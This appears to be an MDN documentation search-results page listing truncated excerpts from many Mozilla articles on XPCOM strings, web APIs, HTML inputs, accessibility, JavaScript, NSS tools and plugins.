...this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
...And 26 more matches
Avoiding leaks in JavaScript XPCOM components
this article needs to be updated to reflect the changes and the cases where they help.
...the requirements for such a memory allocation system are: memory should be returned to the heap when the program no longer needs it (or soon thereafter) so that the amount of memory consumed by the program does not increase.
...it's difficult to use this strategy when there are multiple pointers to a given object and it's uncertain which one will need to last the longest.
...And 26 more matches
PromiseFlatCString (External)
class declaration method overview get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar ...
...methods get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginr...
...eading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsACString (External)
area alt="" coords="499,294,779,342" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii_external" shape="rect" title="ns_lossyconvertutf16toascii_external"> <area alt="" coords="803,294,925,342" href="http://developer.mozilla.org/en/nsliteralcstring_(external)" shape="rect" title="nsliteralcstring_(external)"></map> method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace ...
... trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger data members no public members.
... methods beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsCAutoString (External)
class declaration method overview get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar ...
...methods get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginr...
...eading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsCStringContainer (External)
class declaration method overview beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare(const char*, print32 (*) compare(const nsacstring&, print32 (*) equals(const char*, print32 (*) equals(const nsacstring&, print32 (*) operator< operator<= operator== operator>= opera...
...tor> operator!= equalsliteral find(const nsacstring&, print32 (*) find(const nsacstring&, pruint32, print32 (*) find(const char*, print32 (*) find(const char*, pruint32, print32 (*) rfind(const nsacstring&, print32 (*) rfind(const nsacstring&, print32, print32 (*) rfind(const char*, print32 (*) rfind(const char*, print32, print32 (*) findchar rfindchar appendint tointeger base classes nsacstring data members no public members.
... methods beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 26 more matches
nsIScriptableIO
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports a scriptable io object can be used in an extension or chrome code by referring to the global io object.
...And 26 more matches
Xray vision
the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system privileges.
... if chrome-privileged code is compromised, the attacker can take over the user's computer.
... as well as these two levels of privilege, chrome code can create sandboxes.
...And 26 more matches
Debugger.Object - Firefox Developer Tools
spidermonkey creates exactly one debugger.object instance for each debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger each time.
...(in firefox terminology, privileged code sees the element through an “xray wrapper”.) to ensure that debugger code sees each object just as the debuggee would, each debugger.object instance presents its referent as it would be seen from a particular compartment.
... this “viewing compartment” is chosen to match the way the debugger came across the referent.
...And 26 more matches
AddressErrors - Web APIs
any members which is present indicates that a validation error occurred for the member of the same name in an address described using paymentaddress.
... addresserrors is the type of the object returned by shippingaddresserrors in the paymentdetailsupdate passed into paymentrequestupdateevent.updatewith() by the shippingaddresschange event handler if a change to the address resulted in a validation error occurring.
... properties addressline a domstring which, if present, indicates that the addressline property of the paymentaddress could not be validated.
...And 26 more matches
Guide to the Fullscreen API - Web APIs
activating full-screen mode given an element that you'd like to present in full-screen mode (such as a <video>, for example), you can present it in full-screen mode by simply calling its requestfullscreen() method.
... let's consider this <video> element: <video controls id="myvideo"> <source src="somevideo.webm"></source> <source src="somevideo.mp4"></source> </video> we can put that video into full-screen mode as follows: var elem = document.getelementbyid("myvideo"); if (elem.requestfullscreen) { elem.requestfullscreen(); } this code checks for the existence of the requestfullscreen() method before calling it.
... presentation differences it's worth noting a key difference here between the gecko and webkit implementations at this time: gecko automatically adds css rules to the element to stretch it to fill the screen: "width: 100%; height: 100%".
...And 26 more matches
HTMLMediaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 26 more matches
Using bounded reference spaces - Web APIs
not only is it represented by a unique subclass, xrboundedreferencespace, but it's the only one which restricts movement based not upon virtual restrictions but upon limitations imposed by the real world.
... there are many uses for bounded reference spaces, including projects such as virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the preview of 3d objects in the real world using augmented reality.
... introduction a bounded reference space is one which represents an xr environment in which the user is able to move around physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the simulation.
...And 26 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
this article demonstrates how to use a constantsourcenode to link multiple parameters together so they share the same value, which can be changed by simply setting the value of the constantsourcenode.offset parameter.
... you may have times when you want to have multiple audio parameters be linked so they share the same value even while being changed in some way.
...you could use a loop and change the value of each affected audioparam one at a time, but there are two drawbacks to doing it that way: first, that's extra code that, as you're about to see, you don't have to write; and second, that loop uses valuable cpu time on your thread (likely the main thread), and there's a way to offload all that work to the audio rendering thread, which is optimized for this kind of work and may run at a more appropriate priority level than your code.
...And 26 more matches
Migrating from webkitAudioContext - Web APIs
the web audio api went through many iterations before reaching its current state.
...as the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed from the webkit (and blink) implementations due to backwards compatibility reasons.
... new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation.
...And 26 more matches
ARIA live regions - Accessibility
using javascript, it is possible to dynamically change parts of a page without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction.
... while these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies.
... aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies.
...And 26 more matches
Understandable - Accessibility
success criteria how to conform to the criteria practical resource 3.1.1 language of page (a) the default human language of each web page should be detectable via code.
...the simplest way to achieve this is to set the lang attribute on the page's <html> element, giving it a value equal to the language code that best represents the language the page is written in.
... you don't need to set a different language for words or phrases that are the same regardless of language (for example proper names, technical terms that aren't part of a specific language).
...And 26 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
background-image: url("images/alpha.png"); float: left; position: relative; } .ui-color-picker .preview:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .preview-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; ...
...'hsl' : 'hsv'; this.color.setformat(this.picker_mode); this.createpickingarea(); this.createhuearea(); this.newinputcomponent('h', 'hue', this.inputchangehue.bind(this)); this.newinputcomponent('s', 'saturation', this.inputchangesaturation.bind(this)); this.newinputcomponent('v', 'value', this.inputchangevalue.bind(this)); this.newinputcomponent('l', 'lightness', this.inputchangelightness.bind(this)); this.createalphaarea(); this.newinputcomponent('r', 'red', this.inputchangered.bind(this)); this.newinputcomponent('g', 'green', th...
...is.inputchangegreen.bind(this)); this.newinputcomponent('b', 'blue', this.inputchangeblue.bind(this)); this.createpreviewbox(); this.createchangemodebutton(); this.newinputcomponent('alpha', 'alpha', this.inputchangealpha.bind(this)); this.newinputcomponent('hexa', 'hexa', this.inputchangehexa.bind(this)); this.setcolor(this.color); pickers[topic] = this; } /*************************************************************************/ // function for generating the color-picker /*************************************************************************/ colorpicker.prototype.createpickingarea = function createpickingarea() { var area = document.createelement('div'); var picker = document.createelement('div'); area.classname = 'picking-area'; picker.classname =...
...And 26 more matches
Getting Started - Developer guides
ajax stands for asynchronous javascript and xml.
...ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page.
...at this stage, you need to tell the xmlhttp request object which javascript function will handle the response, by setting the onreadystatechange property of the object and naming it after the function to call when the request changes state, like this: httprequest.onreadystatechange = nameofthefunction; note that there are no parentheses or parameters after the function name, because you're assigning a reference to the function, rather than actually calling i...
...And 26 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
it may contain one or more audio sources, represented using the src attribute or the <source> element: the browser will choose the most suitable one.
...in a similar manner to the <img> element, we include a path to the media we want to embed inside the src attribute; we can include other attributes to specify information such as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc.
... crossorigin this enumerated attribute indicates whether to use cors to fetch the related audio file.
...And 26 more matches
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
<input> elements of type range let the user specify a numeric value which must be no less than a given value, and no more than another given value.
... events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid f...
... value the value attribute contains a domstring which contains a string representation of the selected number.
...And 26 more matches
Indexed collections - JavaScript
« previousnext » this chapter introduces collections of data which are ordered by an index value.
... this includes arrays and array-like constructs such as array objects and typedarray objects.
... for example, consider an array called emp, which contains employees' names indexed by their numerical employee number.
...And 26 more matches
Strict mode - JavaScript
strict mode makes several changes to normal javascript semantics: eliminates some javascript silent errors by changing them to throw errors.
... see transitioning to strict mode, if you want to change your code to work in the restricted variant of javascript.
...it doesn't apply to block statements enclosed in {} braces; attempting to apply it to such contexts does nothing.
...And 26 more matches
Navigation and resource timings - Web Performance
the general performance timings below have been deprecated in favor of the performance entry api, which provides for marking and measuring times along the navigation and resource loading process.
... the performance timing api provided read only times, in milliseconds(ms), describing at what time each point in the page loading process was reached.
... as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domcontentloadedeventstart, domcontentloadedeventend, domcomplete, loadeventstart, and loadeventend.
...And 26 more matches
Getting started with CSS - Learn web development
save the code below as index.html in a folder on your machine.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>getting started with css</title> </head> <body> <h1>i am a level one heading</h1> <p>this is a paragraph of text.
...if that doesn't happen, carefully check that you've typed everything correctly.
...And 25 more matches
What text editors are available? - Learn web development
objective: learn how to choose a text editor that best suits your needs as a web developer.
... summary a website consists mostly of text files, so for a fun, pleasant development experience you should choose your text editor wisely.
... the sheer number of choices is a bit overwhelming, since a text editor is so basic to computer science (yes, web development is computer science).
...And 25 more matches
The HTML5 input types - Learn web development
now we'll look at the functionality of newer form controls in detail, including some new input types, which were added in html5 to allow collection of specific types of data.
... you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key.
...your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to turn off, so malicious users can still easily send bad data through to your server.
...And 25 more matches
Adding a new event
first, you need to choose which type you need.
... a simple dom event which can be implemented with webidl and widgetevent or something.
... a dom event which represents a native event like a user action such as keyboard or mouse input.
...And 25 more matches
Mozilla Style System Documentation
see also the style techtalk for more complete although less detailed documentation.
...(mozilla has a bunch of its pseudo-elements that are not in the css specification.) we also create style contexts for some things that are not css formatting objects: text nodes and placeholder frames.
... these three types of style contexts correspond to the three ways of creating a style context: nsiprescontext::resolvestylecontextfor, nsiprescontext::resolvepseudostylecontextfor, and.nsiprescontext::resolvestylecontextfornonelement there is also a fourth method, nsiprescontext::probepseudostylecontextfor, which creates a style context only if there are style rules that match the pseudo-element.
...And 25 more matches
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
it watches tcp connections and displays the data going by.
...instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...nonprinting characters are replaced by dots.
...And 25 more matches
Split object
each half of a split object always has a pointer to the other half.
... inner objects implement the jsextendedclass.outerobject hook, which returns a pointer to the corresponding outer object.
...but each web page must load with fresh globals.
...And 25 more matches
Handling Mozilla Security Bugs
introduction in order to improve the mozilla project's approach to resolving mozilla security vulnerabilities, mozilla.org is creating more formal arrangements for handling mozilla security-related bugs.
... first, mozilla.org is appointing a security module owner charged with primary responsibility for coordinating the investigation and resolution of reported mozilla security vulnerabilities.
...at the same time, mozilla.org is also creating a larger "mozilla security bug group" by which mozilla contributors and others can participate in addressing security vulnerabilities in mozilla.
...And 25 more matches
Embedded Dialog API
these new windows can be entire new browser windows opened in response to web page script, or dialogs or alerts which may arise from script or merely during normal operation of the browser.
...xul dialogs are part of the gecko package; they are the default dialog posing mechanism.
...however while xul dialogs are very configurable, they will not behave and probably not look precisely like dialogs which the application builds for itself, independently of gecko.
...And 25 more matches
Mail and RDF
msgaccounts:/ +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "4" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf...
...#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#1 | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#2 | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#3 | +-- http://home.netscape.com/nc-rdf#messagechild --> | imap_message://alecf@imap.mywork.com/inbox#4 | etc...
... +-- http://home.netscape.com/nc-rdf#child --> | mailbox://alecf@pop.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | mailbox://alecf@pop.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "2" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf#messagechild --> | | mailbox_message://alecf@pop.mywork.com/inbox#1 | +-- http://home.netscape.com/nc-rdf#messagechild --> | mailbox_message://alecf@pop.mywork.com/inbox#2 | etc...
...And 25 more matches
Using Objective-C from js-ctypes
speech synthesis example let's start with the following objective-c code, which invokes the speech synthesis api to say "hello, firefox!".
... #import <appkit/appkit.h> int main(void) { nsspeechsynthesizer* synth = [[nsspeechsynthesizer alloc] initwithvoice: nil]; [synth startspeakingstring: @"hello, firefox!"]; // wait until start speaking.
...let's look at the following codelet: [nsspeechsynthesizer alloc] it passes an alloc message to the nsspeechsynthesizer class, in objective-c syntax.
...And 25 more matches
Streams - Plugins
« previousnext » this chapter describes using plug-in api functions to receive and send streams.
...each stream has an associated mime type identifying the format of the data in the stream.
...the browser calls the plug-in methods npp_newstream, npp_writeready, npp_write, and npp_destroystream to, respectively, create a stream, find out how much data the plug-in can handle, push data into the stream, and delete it.
...And 25 more matches
URLs - Plugins
« previousnext » this chapter describes retrieving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
... url scheme description about locates browser information or "fun" pages.
... for more information, see rfc 3986, "uniform resource identifier (uri): generic syntax", and the iana uri scheme registry.
...And 25 more matches
The JavaScript input interpreter - Firefox Developer Tools
to enter multi-line expressions, press shift+enter after typing each line, then enter to run all the entered lines.
... the expression you type is echoed under the input prompt, followed by the result.
... you can enter multiple lines of javascript by default in this mode, pressing enter after each one.
...And 25 more matches
AbstractRange - Web APIs
the abstractrange abstract interface is the base class upon which all dom range types are defined.
...to understand the difference between those two interfaces, and how to choose which is appropriate for your needs.
...;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties collapsed read only a boolean value which is true if the range is collapsed.
...And 25 more matches
KeyboardEvent - Web APIs
keyboardevent objects describe a user interaction with the keyboard; each event describes a single interaction between the user and a key (or combination of a key with modifier keys) on the keyboard.
...keyboard events may not be fired if the user is using an alternate means of entering text, such as a handwriting system on a tablet or graphics tablet.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...And 25 more matches
Service Worker API - Web APIs
it takes the form of a javascript file that can control the web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available).
...it is designed to be fully async; as a consequence, apis such as synchronous xhr and localstorage can't be used inside a service worker.
... note: service workers win over previous attempts in this area such as; appcache because they don't make assumptions about what you are trying to do, and then break when those assumptions are not exactly right; you have granular control over everything.
...And 25 more matches
A basic 2D WebGL animation example - Web APIs
its job, as always, is to convert the coordinates we're using for our scene into clipspace coordinates (that is, the system by which (0, 0) is at the center of the context and each axis extends from -1.0 to 1.0 regardless of the actual size of the context).
... void main() { vec2 rotatedposition = vec2( avertexposition.x * urotationvector.y + avertexposition.y * urotationvector.x, avertexposition.y * urotationvector.y - avertexposition.x * urotationvector.x ); gl_position = vec4(rotatedposition * uscalingfactor, 0.0, 1.0); } </script> the main program shares with us the attribute avertexposition, which is the position of the vertex in whatever coordinate system it's using.
...its role is to return the color of each pixel in the shape being rendered.
...And 25 more matches
Visual formatting model - CSS: Cascading Style Sheets
this includes continuous media such as a computer screen and paged media such as a book or document printed by browser print functions.
... in the visual formatting model, each element in the document tree generates zero or more boxes according to the box model.
... positioning scheme (normal flow, float, and absolute positioning).
...And 25 more matches
Adding captions and subtitles to HTML5 video - Developer guides
html5 and video captions before diving into how to add captions to the video player, there are a number of things that we will first mention, which you should be aware of before we start.
...they are however implemented in the same way technically, so the material in this article will apply to both.
...the various attributes of this element allow us to specify such things as the type of content that we're adding, the language it's in, and of course a reference to the text file that contains the actual subtitle information.
...And 25 more matches
Video player styling basics - Developer guides
html markup there are a few changes that were made to the html markup shown in the previous article.
...this has now been changed to use a data-state attribute, which this code already uses to handle its fullscreen implementation.
... this "data-state" idea is also used for setting the current state of buttons within the video control set, which allows specific state styling.
...And 25 more matches
Constraint validation - Developer guides
while marking up the form itself is easy, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache.
... html5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side.
... basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api.
...And 25 more matches
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
events change and input supported common attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty.
... if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content.
...And 25 more matches
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
radio buttons are typically rendered as small circles, which are filled or highlighted when selected.
... they are called radio buttons because they look and operate in a similar manner to the push buttons on old-fashioned radios, such as the one shown below.
... note: checkboxes are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off.
...And 25 more matches
Working with objects - JavaScript
a property's value can be a function, in which case the property is known as a method.
...this chapter describes how to use objects, properties, functions, and methods, and how to create your own objects.
...the same way, javascript objects can have properties, which define their characteristics.
...And 25 more matches
RegExp - JavaScript
the regexp object is used for matching text with a pattern.
... for an introduction to regular expressions, read the regular expressions chapter in the javascript guide.
...for example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each iteration.
...And 25 more matches
Authoring MathML - MathML
of course, the list is by no means exhaustive and you are invited to check out the w3c mathml software list where you can find various other tools.
...check out our demos and mathml references for more details.
...if you need only basic mathematical constructions such as those used on this mdn wiki then a small mathml.css stylesheet might be enough.
...And 25 more matches
Mobile first - Progressive web apps (PWAs)
this guide looks at a few useful techniques inside the mobile first umbrella.
... if you are using mechanisms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain.
...therefore, as well as splitting content into different views, and simplifying the interface and content on each view of your application for mobile as much as possible, it is also a good idea to not include visual effects such as shadows, animations, and gradients.
...And 25 more matches
Debugging CSS - Learn web development
perhaps you believe that a certain selector should match an element, but nothing happens, or a box is a different size than you expected.
...while you may choose to mostly develop in a particular browser, and therefore will become most familiar with the tools included in that browser, it is worth knowing how to access them in other browsers.
... you will also find that browsers have chosen to focus on different areas when creating their devtools.
...And 24 more matches
Document and website structure - Learn web development
previous overview: introduction to html next in addition to defining individual parts of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column").
... main content: a big area in the center that contains most of the unique content of a given webpage, for example, the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc.
...with the right css, you could use pretty much any elements to wrap around the different sections and get it looking how you wanted, but as discussed before, we need to respect semantics and use the right element for the right job.
...And 24 more matches
Build your own function - Learn web development
try varying the string to change the message.
... the alert function is limited: you can alter the message, but you can't easily vary anything else, such as the color, icon, or anything else.
...we'd recommend you doing this exercise in a modern browser like firefox, opera, or chrome.
...And 24 more matches
Storing the information you need — Variables - Learn web development
previous overview: first steps next after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level.
...but one special thing about variables is that their contained values can change.
...it would end up looking something like this: let name = prompt('what is your name?'); if (name === 'adam') { alert('hello adam, nice to see you!'); } else if (name === 'alan') { alert('hello alan, nice to see you!'); } else if (name === 'bella') { alert('hello bella, nice to see you!'); } else if (name === 'bianca') { alert('hello bianca, nice to see you!'); } else if (name === 'chris') { alert('hello chris, nice to see you!'); } // ...
...And 24 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
never fear — this article aims to save you from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs.
... note: you might well have your own version of the game example that doesn't work, which you might want to fix!
... we'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here.
...And 24 more matches
Multiprocess on Windows
prerequisite reading since so much of this design resolves around microsoft com and its concept of the apartment, readers of this document should have a solid understanding of what apartments are.
...this is true for both chrome and content processes.
...on the other hand, com's multithreaded apartment (mta) uses a much faster ipc mechanism that does not suffer from the same problems as the message queue.
...And 24 more matches
Profile Manager
firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version.
... downloading binaries you can download profile manager builds from https://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/ note: there is no installer; just extract the files from the archive.
... starting profile manager to start profile manager, just launch profilemanager.exe (on windows) or profilemanager-bin (on linux and mac).
...And 24 more matches
Encrypt Decrypt MAC Keys As Session Objects
mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(std...
...tem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
